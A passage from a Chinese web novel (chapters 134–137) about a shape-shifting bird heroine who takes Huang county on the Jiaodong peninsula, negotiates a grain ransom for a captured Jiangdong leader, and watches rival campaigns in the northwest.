高密城中,呼兰霍兰人在魂不在,一只手捂着脸颊,很沉默地在听江东使者开的条件,旁边王宣很自觉地坐在身侧,以军师的身份反过来帮他分析江东这边的条件。 江东使者倒也不是外人,陆行的亲弟弟陆因,大约陆家人都有些口才,他滔滔不绝说了一大堆条件,中心思想两个:别杀,粮有。 江东这边是真不把粮食当回事的,年年丰产,只有多的没有少的,如今更是不用给魏朝交粮税了,但丹阳兵这事不好弄,因为人家丹阳那边咋就那么听话愿意把子弟白送?这里头权衡左右要花的工夫太多了,其实跟他们要吴郡兵反而更容易些,自家郡内更好打交道。 呼兰霍兰不吭声,打从那日林一离开前亲过他的脸颊,他就……没有洗过脸,整天一只手捂着那儿,不像是被自家女人亲了,反而像是被什么猛禽啄掉一块肉,成天就是个捂着。 倘若不熟悉他的人路过,随口客气一句:咋啦将军,脸上伤着了? 那完蛋了,一时三刻走不掉,要听这位不善言辞的戎人将军连讲三遍他是怎么被亲的,讲完,他略微下垂的眉眼会很期待地看着你,你就不得不恭维他几句,总不过是将军真福气,多受女人疼啊! 甄及有个话没好意思说,他以为林老大早就把这壮士拉屋里干过不知道多少回了呢,结果看这被亲了一下就魂飞天外的样子,他就明白了,大概率除了这个亲吻,就没啥别的事了,要不然也不能不值钱成这样啊。 江东使者陆因被这窒息的沉默气氛给弄得口条再顺也说不下去了,脸上笑容略微僵硬,看了看呼兰霍兰,犹豫了一下,很客气地在王宣惊恐摆手的姿态下问出了那句:“呼兰将军,为何一直捂着脸,可是脸痛吗?” 呼兰霍兰霍然抬起了头,一双神目几乎带电光,悠扬动听的声音今天第一次响了起来。 “嗯?你怎么知道的?” 陆因茫然,我知道什么了?知道你脸痛么?这不是很特么的明显吗? 第134章 对于外人,呼兰霍兰还是比较矜持,只讲了一遍他被亲的故事,但仍然听得陆因一脸懵逼,因为信息条件不对等,他这边是不知道林一的,大致上知道夺胶东的是一伙匪徒,匪首白小娘,帐下有一神力无敌将军,是个戎人。 陆行这边的信息也是这个,世族的脑子里几乎给这一拨胶东匪徒定了等式:民成匪,匪占城,至于什么世家公子骗婚杀人,那都不叫事儿。总之这样一支匪军能占下胶东,只能说明胶东就是菜鸡嘛,看我江东王过去一脚飞铲……铲到铁板。 时至今日,看着这戎人将军干巴巴讲着他被白小娘(应该是)亲过脸,陆因还是心里鬼火冒,就这?就这一伙上下尊卑不分,女人以色御下的匪贼,就把浩浩荡荡过万的江东联盟军给打成狗了? 最可气的是,和他坐地掰扯条件的军师还是王宣,他哥对王军师有多礼遇,连他这个做弟弟的都嫉妒,结果现在坐在这里和他锱铢必较起来。 当然,商谈价格时,陆因做不了什么主,江东派了十几家使者来,都在他身后听着呢。 王宣一点都不尴尬,呼兰霍兰不吭声,那谈价的事只能他自己上,身边还跟着一个放屁添风的甄及,算可有可无了。 “我听说江东人一贯喜欢丑话说在前头,那在下也就先说些丑话。”王宣沉声道:“江东联盟,一盘散沙,指望六郡十三家为陆行掏多少真金白银不现实,陆行本身折价十万石粮,这钱陆家出得起,各家愿意贴补些也成。” 江东使者们脸色上都没什么变化,不过陆因是松了一口气的,陆家确实出得起,作为吴郡大族,陆家每年存粮数额虽然没有对他公开,但族内需要养活的人口数目是摆在明面上的,加上今年就快秋收,哪怕掏空粮库也得把陆行这个目前的话事人赎买回去。 王宣又说道:“接下来谈的是江东联盟军的身价,江东可以赎买回去的兵员人数八千,八千人共计三十万石粮,加上陆行,不计水路陆路消耗,我们要四十万石粮送到高密,但是我们还要抵扣一部分广陵丹阳兵,四十万石折价三十万石,不必想着谈价,这是我精心计算过的,谈不拢就算了。” 当然,这算了的范围里面,可能包含陆行的小命和江东联盟军的归属。 联盟联盟,粮食肯定还得世族来出,陆家可能掏一个大头,但各家也得出出血,尤其是丹阳,丹阳郡可能不用出粮,但这趟跟着陆行出来的丹阳兵会被扣下啊!这可比出粮还肉疼,其他世族可能还得内部添补一下人家,不然丹阳这样出战力的地方,要是退联盟了怎么办? 王宣真不愧是精心计算过价钱的,如果江东联盟是个经营几十年的大势力,那这一趟百万石粮起步,陆行如果是个实打实的江东霸王,他一个人就值四十万石粮!可惜不是。 江东联盟成立不到一年,在这之前,江东是魏朝的大粮仓,每年的税收极高,世族虽然得利不少,但总归存不下多少粮,四十万石粮刚好卡在世族有些肉疼,但还出得起,没有伤筋动骨,稍微权衡一下,出了这笔粮,维系一个对外的联盟还是比较重要的程度。 最终陆因的二叔拉了拉他的衣袖,其他家的使者也都没有什么意见,陆因拍板定约,并且约好分三批次送粮,第一批粮食运到,交还三千兵员,第二批粮食运到,再还三千兵,第三批时,再交割陆行。 也就是说,扣留的广陵兵和丹阳兵人数有两千之多! 各家使者心里都滴血,都把陆行这个吊人骂了个狗吃屎,陆因这边才出兵营,就听见使者们一片骂声,装都懒得装一下。 与此同时,一趟大船自辽东沓津港口出发,前往胶东蓬莱港,徐三一手叉腰,扬帆起航。如果有人不记得徐三的话,大约还记得他的战绩,曾在辽东被攻占的第一个冬天,啸聚起三万农工反向修长城的猛人。 自从反修长城之事后,徐三就得到了姜命的看重,一直把他带在身边教导,大字已经认了一箩筐,那股煽动力可是一点没打折扣,近日长期混迹在辽西郡民之中,然后换了崔殊来做郡守嘛,比起自下而上搞事情,崔殊更习惯分化世族自上而下搞大事,何况辽西郡民已经被徐三分化得差不多了,年关时已经堂而皇之拜鸟大王,实在不必把徐三这么个人才再浪费在地头上。 于是崔殊在征得林一同意后,一艘大船打包徐三,啊,这是货船。船上是一些辽东三件套,甘薯苞米和土豆,胶东现在种植不多,种子主要靠海运,胶东其实没啥粮食危机,不是所有人都愿意弃桑麻稻粟改种辽东三套的。 林一还是比较坚持,如果高产作物普及开了,作用可大了,虽然她还是不太明白乱世是因为人多地少,粮食少于人口,杀掉一批人,然后乱世就平定的暴君逻辑,但是人多,让粮食变更多,不也是一条出路吗? 鸟大王会在每一片被她征服的土地上种满高产作物! 徐三在船上就打开了自己的唠嗑光环,从家里几亩地,几头牛说起,和他唠嗑到最后的,无不声泪涕下,最后一船人都躲着他走。 胶东蓬莱港,自古多富庶,徐三下了船,就帮着商人们卖粮种,大泽山的二锅带着十几个兄弟在港口找了他半天,才从一个粮库里把他掏出来。 二锅叹气道:“兄儿喃,你这不害俺们蹽断腿找!赶么紧蹿上马,老大候着你喃!” 胶东话难懂,二锅也就是一说,伸手准备拽徐三上马,不料徐三咧开嘴巴,也用胶东话说:“劳兄儿们大驾喃,俺这就去面见。” 他居然也是会一点点胶东话的。 这样一路上,徐三就和大泽山匪们聊了起来,他很会捧人,也非常会说话,没多久就把这拨人的来历给探听清楚了,至于林一在辽东的那些事儿,在见到林一之前,徐三推三阻四把话*题引开了。 万一鸟大王在这儿不是鸟,而是别的什么身份呢? 事实证明徐三想得还是多了,他本来是准备去掖县的,但一路上耽搁来去,半道上就收到通知了……去黄县吧,黄县打下来了。 作为胶东半岛最后一座孤城,黄县周边的村镇其实一早就被打下来了,等于是东莱王氏一直在困守县城内。黄县是郡治所在,郡城规模,各种守城器械都是老辈子传下来的,据说胶东这边有一支墨家分脉,当然,那也是老辈子的事了。 黄县难打,林一也就时不时让人骚扰骚扰,她离开之后,崔元的招数更阴损,弄了许多赖疙瘩丢城墙底下呱呱叫,或者驱赶一些飞鸟去拉屎,往城里放蛇什么的,总之黄县人困守的这几个月过得不是很好。 林一打黄县打了十来天,日夜不分想起来就去打一下,弄得城里人困兵乏,然后一举破的城,城破的时候还有一批穿白的东莱王氏子弟殉城,从城门楼子往下跳,当时气氛太悲壮了,林一马上反应过来,真让这十几个人跳成功了,过个几十年黄县还得记着这事。 没奈何,她咔咔大变活鸟,冲上去就抱住一个跳得最快的,然后接住几个下饺子的,冲过去一翅膀把还没跳的几个扇了个大屁股墩儿。 当时城内城外几千双眼睛瞪着,都看傻眼了。 林一怒气冲冲地放下抱住的那个东莱王氏子,翅尖指着他们问:“一座城,它今天在这里每天在那里,打破了就打破了,值当这么多命往底下跳?我自问杀的都是该杀之人,姚百岁吃人累骨,他爹当不当死?徐家族老八十岁了,睡人家十岁小丫头,我打烂他的头叫残暴?你们呢?你们个个都干过亏心事,所以想趁着我没进来之前先死了?” 十几个王氏子弟年纪都不大,为首的就是东莱王氏宗子王修字执明,他也是第一个跳的,被林一从半空抱住的那个。 这会儿虽然惊魂未定,也被这怪鸟恶形所慑,但王修还是苍白着一张端肃的脸,冷冷说道:“我等世族,世代经营东莱,纵有些亏心负累之辈,又如何轮得到你来吊民伐罪?尔一只异兽,掀起战火……” 林一往他嗓子眼里塞了一把刚掉的黑羽毛。 王修眼睛都瞪圆了,这辈子第一次在说话时候被强行打断,甚至都不是捂嘴,是一只鸟过来塞他一嘴毛! 林一主要是把有攻击力的嘴先控制住了,然后让士卒们过来把这些人都捆扎起来,面对黄县郡城里的一双双眼睛,她往前俯了俯鸟身,心里其实挺慌的,要是人身,她的演讲可能起作用,但是已经化成鸟模样了,不晓得现在变回去当做无数发生有没有用? 但她大大低估了老百姓们对于看热闹的渴望,你要说城门被乱军打破了,现在各家各户肯定都往地窖里躲,你要说城门被一只异兽带兵打破了,异兽还口吐人言,而且没进城来打劫,在城门口和王家宗子辩论上了,那高低不得去瞅瞅? 第135章 其实那都不叫辩论,叫单方面演讲。 林一压根不清楚,她要是个人站在城门楼子上开演讲,今天大部分围观民众他们就不来了,一只鸟蹲上面演讲起来,啊这才叫真正的倾城出动。 她先矜持地用姜命修改版的山海经做了背书,简单讲了一下她不是什么异兽,而是人类的好朋友鸟人,最近她的背景故事又有了新补充:上古之时,龙曾经和凤族共同抵御外敌,后来龙就成了现在的人族,凤则事了归深山,是一群不慕繁华的好鸟人。 王修不敢把嘴里的鸟毛掏出来,他刚才试过,然后就被塞了一嘴新的,这鸟人其貌不扬,毛是真的一把一把掉。但他的大脑在飞速运转着,山海经他看过全本古本,世族子弟的课外书籍不算多,这种神异有趣的古籍只要家族里有,传看率非常高,他不怀疑自己是不是漏看过一截,因为他自小过目不忘,确认没有任何关于凤鸟的记载。 但林一讲的这个故事的逻辑性很强,一群不慕名利的鸟人,在打败了(非常具体的虫族形容)上古异兽之后,在偏远的岛屿和深山生存下来,几千年来坐看人族兴衰,直到一场大变,凤族的最后一个遗孤来到了人间…… 故事当然是王澈捣鼓的,现在所有军师里就他最闲,但凡他能承担工作,林一不会因为他是一朵鲜花而怜惜他,事实就是他很虚很脆皮,干几天活计就能死给她看,这是没办法的事。 但王澈捣鼓的故事背景环环相扣逻辑清晰并且引人入胜,林一只是简单讲讲,就吸引了底下一大群黄县民众伸着脖子听。 “……我一只鸟能吃些什么呢?无非就是虫卵五谷之类,鸟可怜呐!世族享受的那些珍馐美味,我吃起来就和嚼土一个样,黄县这边产贡品对吧?胶东还有一种大鱼,需要定期出海捕捞供应世族,可是换成我来,我自己就能下海捉鱼。” 林一很真诚地嘎嘎两声,又说道:“我知道非我族类其心必异这句话,可是同为族类,世族又是什么族呢?今天打开城门,如果有人抢劫,有人欺负人,你们就来跟我说,我打飞他们的脑袋,我是鸟大王,辽东那边的情况你们应该清楚一些,鸟不吃粮税渔税,鸟比世族好。” 她最后两句话才是绝杀。 胶东地方,自古以来都是桑麻稻脂盐渔物产极为丰富之地,此地民众的生活却并不好。地多人也多,农民一年到头忙在地里,一家子脸朝黄土背朝天,很多人不得不下海讨生活。农民被捆在地皮上,渔民呢?渔民一样要交税,重税。整个的胶东半岛,郡县村镇,哪家哪户没有听过哪家的穷小子交不起渔税,一艘小船躲躲藏藏,一辈子都不上岸的悲惨故事。 当然也有惨过头的,直接跑海岛上啸聚为匪了,现在海上的那些大海贼几乎都是这个苦出身,这个就不叫人同情了。 无论是朝廷还是世族,对这些贱庶都是不容情的,青壮尚能填填肚子继续干活,沿海地方,老人小孩倒是不会饿死,但饿得在海滩捞海带吃,生吃些烂糟糟的小海货,老人带着小孩艰难赶海,靠吃虾蟹贝类度日……都是见惯的事情。 其实胶东半岛这样上好的土地,倘若没有粮税渔税,过得不说多富庶,那也必然是人间桃源了。 本是倾城出来看热闹的黄县民众都愣住了,别说他们,林一自己带来的世族兵都听得愣愣的,辽东那边的情况他们当然清楚啊,最短的和辽东的海港距离也就几百里,对海路来说这叫路吗?但是辽东的鸟大王,不是什么神异非凡美轮美奂,巨翼遮天的鸟吗?眼前这个……嗯,也不难看! 王修有些想说,一会儿自称白小娘,一会儿自称鸟大王,这鸟一张嘴比鹦鹉都不可信,但终究没有说出口。 因为气氛太热烈太热烈了,热烈到几乎空气都在凝成实质的灼热,有人跑家里去拿出鸡蛋醪糟这些好东西,想要投喂给自称从来没有吃过好东西的可怜大鸟。 她看着也确实不像吃过啥好的,羽毛麻麻赖赖的,都不知道羽管底下有没有生虫子,真的有好心的大娘上手去翻了,发现鸟的羽毛虽然丑巴巴,但是非常非常健康,别说生虫,连气味都比家鸡好很多。 林一下了城门楼子往人群里走,所到之处都是一片前呼后拥。这场景既视感太强烈了,几乎所有读过书的世家子,都不约而同想起了《孟子》里的那句话。 诛其君而吊其民,若时雨降,民大悦。……王往而征之,民以为将拯己于水火之中也,箪食壶浆以迎王师。 王往而征之的前一句是,燕虐其民。 燕虐其民,王往而征之,民以为将拯己于水火之中也,箪食壶浆以迎王师。 胶东之民,已经认为自己生活在水火之中了吗?王修有些茫然地看着走进人群的大鸟,它走得很稳,而且一点也不担心会有人突然朝它捅刀子,鸡蛋喂到嫩黄的鸟嘴边上,它就磕一下蛋壳然后啄饮,一瓢醪糟递过来,她也张嘴喝两口,甚至是哪里人多就往哪里走。她带来的那些世族兵从来没有受到过这样热烈的待遇,被高高兴兴地迎进城中。 嗯,有挤不进去,喂不了鸟的,就把带来的好东西喂给世族兵们,其实有臭蛋,舍不得吃的蛋放久了当然会臭,但是吃到臭鸡蛋的世族兵犹豫了几下,还是咽下去了。 主要这个气氛太好了嘛。 黄县,这座胶东半岛最后的铁堡垒,自此内外被攻破。甚至都不止黄县的民众,听闻胶东半岛会和辽东一样不交税、其实不交税太叫人心慌了,减免一些,减半都足够了。从前只听说好皇帝会在灾年免赋税,但免税这种事哪里轮得到胶东来?总之只要离得不远,在二三百里内的,就没有民众不想来见见鸟大王,听听她亲口保证的。 这也导致了十多家世族跳反时,甚至自家的私兵部曲都不怎么听话,还有家将劝诫家主的事情发生,但世族为利,打退堂鼓的只有两家,剩下的全被一锅端了。 其实林一事情很多的,在黄县根本待不长久,而且胶东之民不知道什么毛病,和辽东人一个样子,就是非常认她的鸟身,人身不一定有人认得出来她的脸,但只要是个鸟样子走出去,就是人人爱戴的鸟大王。 崔元当然能解释这东西,“他们在异化领袖,女君越是和过往的世族官员不一样,越是非人,他们越是安定,异化的领袖也许有很多的不确定之处,但人会美化,他们害怕承诺落空,因为这是经常会有的事情,如果承诺的是一只异化的鸟类,这反而能让这份承诺有更多的支撑。” 是的,有不少地方已经申请建造庙宇了,还有村子的老人悄悄来问,鸟大王是不是吃人的?要吃童男童女?其实老骨头吃起来应该不错,像腊肉一样蛮香的,吃了人就会像话本里的妖怪那样行云布雨庇佑一方了吧? 林一都快被那些老头吓死了,她吃个没有智力的鸡都要背地里做心理建设好几天,吃人?还童男童女?世族真会驯养人啊。 总之这几天林一下到各村各镇去开演讲,今年的秋收快到了,还要准备打仗,好处需要实打实地发,别说粮税和渔民,她连私盐都全面解禁了,还拉了一批私盐贩子铺开生意,一个插在海里的半岛,居然有地方吃不上盐,这属实离谱了啊! 黄县大牢里,除了东莱王氏人多,千把口子人拉拉杂杂关了一片牢区之外,这几天又有新世族入住,王修和他的父亲还有几个堂弟一起挤牢房,是真的挺挤的,这间牢房原先是个五人间,现在关了六个人,转个身都能撞别人怀里去,连续关了几天后,连路过一只老鼠都可以让他们交谈很久。 隔壁又押解了几个人进来,原东莱郡守,王修的父亲王温勾着头看了看,哑声说道:“老杨,杨兄,是你啊,外面怎么样了?” 杨家主没吭声。 王温又说道:“看来不大好,具体怎么个不好,和我们说说看呗?” 杨家主有些恼怒了,“关在牢里还改不了话痨性子,惯会戳人心眼,活该你儿现在整个东莱都在传他、传他……” 到底是世族斯文人,说不出那些恶言来。 但是王温思考了一下,声音略微压低,问道:“传我儿什么?爬进鸟窝里了?那天殉城不成殉身子了?” 杨家主手都在抖,隔着个墙壁又没法伸手过来打他,两个杨家子弟过来给他揉心口,都见怪不怪了,就这心理素质,当初为啥脑子一嗡就跟着那些人搞事情呢? 王修习惯父亲说话的……不羁了,他倒也有些好奇,他那日抱着殉城之意,跳城门寻死,外头会如何传这事? 杨家主缓过气来,从鼻子里狠狠喷出一口气,“现在外头都传你儿骚得很,见了鸟就往人家怀里扑,想做人家的鸟妃喃!” 第136章 ……意料之外,情理之中的事。 不是说一个受人爱戴的人、鸟人就不会被传感情史了,反而林一现在已经足够异化,为了中和这种异化感,民众开始寻求一些她类人的方面来给足安慰感了,何况王修又是实打实被鸟抱上城门楼的呢? 这种八卦也往往是当事人比较在意,但其实老百姓传几天就能止的事,林一就完全不在意这个,黄县破城之后,她就接手了徐三,徐三给她提出不少建议,也是时候一一实行起来了。 辽东分地是她认为自己做得最对的事情之一,胶东这种地方分地有些敏感了,毕竟世族太多,但这些作乱的世族就不一样了,林一让徐三先放出风声。穷人家里有二十到四十的青壮年的,可能会分到一些作乱世族的土地,分地给老弱孤寡还得再等一等。毕竟如果说穷人有什么话语权的话,那就是靠老天爷给的最后本钱,一副年轻有力气的身板了。 风声一传出去,从黄县一路蔓延至掖县,再从掖县扩散至即墨,世族当然风声鹤唳,毕竟这次世族作乱来得蹊跷,而一着不慎带累全族的事一向是世族的惊惧点,但民众管你这个那个的,只要家里有青壮的就在期盼上了,当然,期盼很大,也很小。 五月十二,江东联盟军第二批粮食和军士交割完成,接下来只剩下陆行本人的交易了,等第三批粮食运到,交付了陆行,呼兰霍兰这边就收工折返掖县,可以将打通胶东和辽东的陆路提上日程。 蜀中那边近来新起了四五个势力,仗没怎么打,嘴仗已经打到炎黄之战的级别,岭南野人赶走了朝廷驻军。西南之地,苗疆之民骁勇,就算在魏朝强盛时期,群山连绵之地,找他们收税仍然年年见血,一旦魏朝弱势,马上进行大规模反扑。各地都在掀起战火,但如果拉到同一个水平竞赛的话,会发现地图点得最快最凶猛的是西北。 前文已经说到,江骋自雁门北上,带兵连下定襄云中五原三郡,佯攻朔方,实取西河。西河郡去岁曾遭旱灾和蝗灾,郡中还闹过西河贼,这一批西河贼南下雁门后差不多就活了两天不到,江骋剿了西河贼,又屠天水贼,放在昔年魏朝那个光景,至少能封个三品以上的将军,可惜时节不好,魏帝哪有心思封他。 总之旧威仍在,江骋取西河郡简单地就像回自家雁门一样,控制了西河渡口后,仿佛朔方郡并不存在,攻打起了西南方向的上郡。 现在整个西北都知道,杨少将军攻城掠地有个习惯,打得越轻易,入城后便秋毫无犯,兵眠于屋侧。打得稍有不顺,入城后便要杀几个匪徒以血洗地。有几个死战的城,虽然没有屠城,但会刻意纵兵抢掠几轮,遇到反抗的就打杀。 从前大家都没经验,而且从来没有人总结这些残暴的行为,直到慢慢发现这里面的区别……所以西河郡下得这样容易,风声传到上郡那里,许多县令未战先怯,也有想要组织防守的,但县里上到世族下到百姓都是人心惶惶。 普通的武将做不了这样精细的布局,因为士卒很难令行禁止,今日叫他秋毫无犯,明日让他动刀抢掠,习惯了抢掠的在下次规定秋毫无犯时会本能反抗,而习惯了眠于百姓屋侧的,你叫他去进屋烧砸抢,也是个大问题。 但江骋不一样,他军中有严苛的等级制度,他的亲信自上到下,原黑水军的旧部绝对听令于他,然后是新组建的黑水骑兵三千人,这些黑水骑的地位优越,军饷是步兵的三倍。步兵也是层层向下,从世族私兵到战力较弱的民兵,实现层层管控。或者说他下令的抢掠,并不是“纵兵”,而是军令如山。 在这样的情况下,雪域那边,严格来说是呼兰部那边有些坐不住了,呼兰霍兰离开后,呼兰部还在原先的草海生存,呼兰人比克烈人要好说话,而且人少地多就造成了家家户户都过上了蛮富裕的生活,日子一富裕,就开始琢磨些生活享受了。 嗯,比如南下用牛羊换些猪鸡吃吃…… 是的,这对雪域人来说就是非常奢侈的享受了,呼兰部和苏赫王部是一样的,绝对的禁酒,魏朝人把酒卖得太贵了!一坛酒一只羊是均价,均价就是不讲价的,你牵来的羊再肥嫩好吃,他也就给一坛酒!那还不如喝回咱的酸马奶酒呢。 呼兰部的族老中常年有两名负责交易往来,今年也顺势变成了他们带队南下进行贸易,也不光是牛羊贸易,还有一些从苏赫王部传来的手艺品羊毛衫之类的,呼兰部落这个位置,让他们往瓜城一带贸易也纯属放屁,大多就是在朔方五原附近来往。 苏哲族老和卓一族老,两个均年过四十的雪域人,长得就是标准的呼兰男人的样子,高大黝黑狗狗眼,英俊而朴实,他们带了一串百十来人的商队,牵着牛羊,拉着骡车来往朔方。没两天就得到了消息,西北乱了,雁门杨氏万军起兵,席卷西北,因为朔方久攻不下而绕行西河,正在猛攻上郡。 两个呼兰族老一听就急了,苏哲慌道:“卓一,怎么办?要是朔方被攻破,我们的牛羊生意怎么办?” 卓一的头脑要更好一些,他也是族老里经常拿主意的那个,拧着眉头,沉重地道:“看来……有必要观望观望,如果那个杨少将军打下朔方之后,还愿意跟我们交易呢?你忘记了?我们不光出产牛羊,还有马匹啊。” 雪域人永远不担心被进攻,因为地那么大,就那么穷,魏朝人从来只想着控制雪域,因为能要的地方人家都推成沿边郡了,稍微有几片绿洲的地方,如雍西四郡,那早就给你薅走了嘛。就现在你杨少将军准备拿出多少兵力控制咱们呼兰部落的几千里草海?历朝历代只有雪域南下的,哪有魏朝人放着富饶田地不要,迁民入荒原的。 经常交易牛羊的那个商贩都听傻了,操一口半生不熟的雪域语,压低声音问:“呼兰兄弟们,我是说,朔方这样的地方,又没拿锁捆着,现在孤立无援的,为啥不趁着杨骁(杨裳给江骋改姓易宗时取的名字)在攻打上郡的时候,打下朔方郡啊?” 两个族老都看向他,苏哲费解地说:“打朔方干什么嘛?” 卓一沉思片刻,摇了摇头,“是啊,朔方太大了,我们呼兰部落人少,现在家家户户都盖上房子了,住的是水边,占的是最好的草海,要是住到朔方来,那家里牛羊马骡上哪养活?” 总不能人住城里,牛羊住外头,然后每天往返几十几百里去放牛放羊吧? 当然了,族老肯定想不到从前塔塔尔部的操作,贵族住城里,家奴在旧部放羊,然后塔塔尔部不就被鸟给嘎了嘛,为啥魏朝人总想着人和马要分开的事呢? 商贩也没法子了,开始怀念起克烈部,人家克烈人一旦看到机会,什么时候管过你这个那个的,还想着住朔方城里了,那从前不是抢一票就走的吗? 而且有个深层次的问题,双方其实都没提到,或者说是两个族老忘记了。 呼兰霍兰不在,呼兰部落自古以族长为最强战力,每逢战事都是族长操持,没有族长的呼兰部落就像是一群没长角的牛,那可和平了。 而族长牛搁别人地里忙活着呢。 五月十九,江东的最后一批粮由吴郡兵押送而来,呼兰霍兰把陆行送上船,这几天陆行过得不是很好,胶东人当然不怎么关心他的死活,但江东那边可不是人人都希望他这个盟主活着回去的,他遭遇了刺杀!不止一次,起初陆行吓得连吃饭喝水都不敢,人迅速消瘦,呼兰霍兰干脆把他弄进帐子里,和自己同吃同住。 说真的,陆行从来没有这么有安全感过,他亲眼看过呼兰霍兰单手捏碎人喉骨,一拳打得马往地上倒,但是很快啊,很快他就又听见一些风声,这位高大强壮的戎人将军,曾经和胶东的一个有南风之好的军师彻夜长谈过…… 睡在呼兰霍兰的帐子里,只隔着个简陋的帘子,陆行又开始失眠了。 上船不久,陆行睡了有史以来最安心的一觉,船一靠岸,他整理冠带,再次露出充满自信和傲然的笑容,高呼道:“今日卷土又重来,我江东子弟不言败!” 他还是江东霸王! 呼兰霍兰没这么花哨,当天整理了三批粮食,大军押送,从高密出发折返掖县。辽东那边已经和辽西开战,胶东这里不能再耽搁时间,事实上昨晚林一就已经打掉一处县城,坐在县令的椅子上,审批县令的案卷,然后喝上县令的私藏小酒了。 当然,自己一个鸟睡的,也不知道这个县什么毛病,人长得都和地里掏出来的一个样。 第137章 双线作战绝对是个后勤噩梦,但最好的地方在于,现在秋收将近,双线又各自有一个不缺粮的大后方支援,胶东半岛这边更有江东老表支持的三十万石整的军粮。 辽东差一些,因为先前答应过百姓不收粮税,这一批军粮的调用还是当初薅的世族羊毛,是拿钱买的,虽然好多百姓不肯收这个钱,但规矩就是规矩。何况在开战之前,崔殊把那些库房里的好东西卖了个好价钱,并不缺军费。 很快啊,等打通辽东和胶东的沿线,辽东这边有了商路,就真的可以开始发达了,不收粮税可以收商税,商人永远是叫得最凶赚钱最狠的。这边水路多海路多,平时是因为辽东这边是沦陷地,魏朝不允许往来,但现在嘛,魏朝自己还没沦陷已经算是魏帝身段柔软了,换个不知事的小皇帝,他屁股是坐不稳龙椅的。 韩小六兵出辽东不久,就接连收了几座县城,辽西乃是军事重镇,和其他郡不同,设有两名都尉,即一郡之中有两处屯兵之所,分东西都尉,柳城由西部都尉陈律驻守,主要驻防辽河中游渡口。陈律是被崔殊策反过的,当然也是他自己递来的梯子,因为觉得跟着辽西郡混没前路,所以韩小六兵至柳城时,西部都尉下辖兵营配合他兵合一处,共计一万三千兵奔袭交黎,东部都尉所在。 东部都尉护卫北山区通道,位置在大凌河谷与医巫闾山关隘之处,虽然地险难攻,但大军开路,想要取此处驻地也是轻而易举的,东部都尉姜玉被下属生擒押来投降,自此辽西门户洞开,可以直插险地。 林一对韩小六其实很放心,这是一个自主性很强的武将,甚至可以说是名将级别的了,这种军事思维属于天生的,不是说把一窝小孩放一块儿能后天教出来的,军事这一行里,从来只有天才这一门天赋。 但是,林一不放心的是崔殊,缺德军师历来贪多贪占,他脑子是灵光,但蠢人辛辛苦苦搞破坏,可能有时候不如聪明人一步踏错。索性距离不远,林一时常两处飞,她自身就是最好的探子斥候,带来两地的最新战报穿梭往返,顺带再盯一盯辽东这边战况。 对西北的事,林一倒也略知一些,她马上判断朔方郡很可能就是江骋的“围三阙一”法,是故意留出的漏洞,鉴于朔方附近最大的雪域就是呼兰部落,其他部落组织不了南下这样的大事,她立刻去了一趟呼兰部落,开了个族老会议,让他们不要去参与那些事,以免被江骋坑了。 呼兰族老们面面相觑,刚回来不久的负责牛羊买卖的苏哲长老第一个说道:“可敦放心吧,族长不在,我们历来是不参战的。” 卓一也点点头,“朔方是很好的地方,但是我们打下来又能做什么呢?难道把牛羊牵那边去……” 族老们忽然齐齐一震,他们是很久没去过朔方了,但是知道那边和河套差不多,是可以耕种也可以放牛羊的水源丰沛之地啊!换句话说,朔方那样大的地方,是可以供给他们放牛羊需求,也能让他们过上住县城郡城的那种,文明人生活的宝地。 一群族老的脸上不约而同露出了梦幻的表情,林一敲了敲桌子让众人回归现实,“别做梦,地形势力划分现在是这样的……” 她在地上划拉划拉,简单划拉出西北的局势,朔方在最边缘的一角,除了和雪域接壤的这一块儿,它被江骋的势力范围包围了,西河郡、云中定襄五原郡,把朔方团围住了。非常简易地来说,一个正方形,它有三面是江骋的势力范围,然后一面和雪域接壤,呼兰部落进入朔方郡那不是攻城夺地,而是进入了这个正方形里,是进了人家的口袋。 女族老阿琪沉思片刻,说道:“兵力是流动的,不可能三面来攻,如果我们霍兰在,打下朔方之后,可以直接攻江骋的薄弱点,撕开一个口子,并不是说呼兰部落没有胜算,反而我们是骑兵,来去都很快,实在打不过可以跑。” 林一摇摇头,不是她不肯把呼兰霍兰放回来打西北,而是,“江骋也有骑兵,他运用骑兵的战术很强,很强,非常强,步骑协同作战,为了一个朔方并不值得,而且我总觉得他……有点不对劲。” 江骋的人多杀之理论林一从崔元那里听过,按照这个理论来说,雪域人如果打不过跑掉了,留下的朔方郡民,会不会也在江骋的无用之民范围内?现在他还披着人皮,能轻易打下来的地方都维持着铁一样的军纪,这是他设下的规则,暂时在她脱不开手的时候,需要维持住这个平衡,天水军的悲剧不能再重演了。 这样呼兰部这边都按住了蠢蠢欲动的心思,林一还格外提醒道:“如果后面任何人来找你们买马,出价再高也不要卖,骑兵对战事非常非常重要。” 族老们都摆手,今年水草好,他们想多养些牛羊了,雪域难得的安定年景,整个雪域大大小小的部落都不约而同减少了养马数量,现在可是苏赫王部一家独大的时代。 从呼兰部落出来,天色还早,战事可不是时时刻刻在打,林一来时两地战局都还安稳,既然都飞好远来到雪域了,怎么能不回家睡、咳咳咳,怎么不能回家看看自家男人对吧。 她的羽翼看起来比之前好了一些,黑毛差不多掉光了,新羽长出来三分之一,新羽的数量比雏羽多两三倍,所以它们已经可以支撑飞行,看起来虽然还是磕磕巴巴的,但是实用性已经不错。 巨鸟飞过之地,地上的骑手见到了就会追逐几里地,一直到飞掠苏赫大河谷,有个正在打饭的身影略微顿了顿。 段凛已经是雪域临时监狱的打饭工了,他生活规律,而且几乎不和其他人发生冲突,小偷小摸的雪域人很野,一放出来就想往外窜逃,扎哈额真后期索性真的锁了监牢,每到饭点只让段凛出来打一桶食物回去分发。 狱友不是固定不变的,很多就关几天,而段凛来了数月有余,不少新来的猜测他是犯了什么案子,为啥有人都三进宫了,他还在嘞? 今天的晚饭是一通奶渣汤,咸口的。段凛从前在张掖的时候,偶尔喝的奶都是放石蜜或者果仁熬煮的,来到雪域之后才发现很多奶制品的伴侣是盐巴,他已经有些习惯了。给众人分发完,自己喝了两大碗,然后就看着窗外发呆。 是真的把他给忘在这里了吧?这一个月内,已经飞回来四趟了,每次都是夜里来早上走,她是在和什么人过夜吗?苏赫大汗,还是两位(乌苏在雍西)王子里的一个? 段凛躺上床,现在夏季天热,夏秋季热闹是热闹,纠纷就更多,虽然很多人都是私了,但免不了有一些恶劣的事情要闹到大汗面前,于是最近他的*狱友变得非常非常多。 一个不算宽敞的屋子里,睡着十七八条雪域壮士,那气味也是很绝的。 段凛横竖是睡不着觉,他有监牢的钥匙,现在基本等于一个狱卒了,于是狱友睡觉打呼磨牙的时候,他披衣起身离开监牢,把门锁好,趁着月色来到一条河流旁。 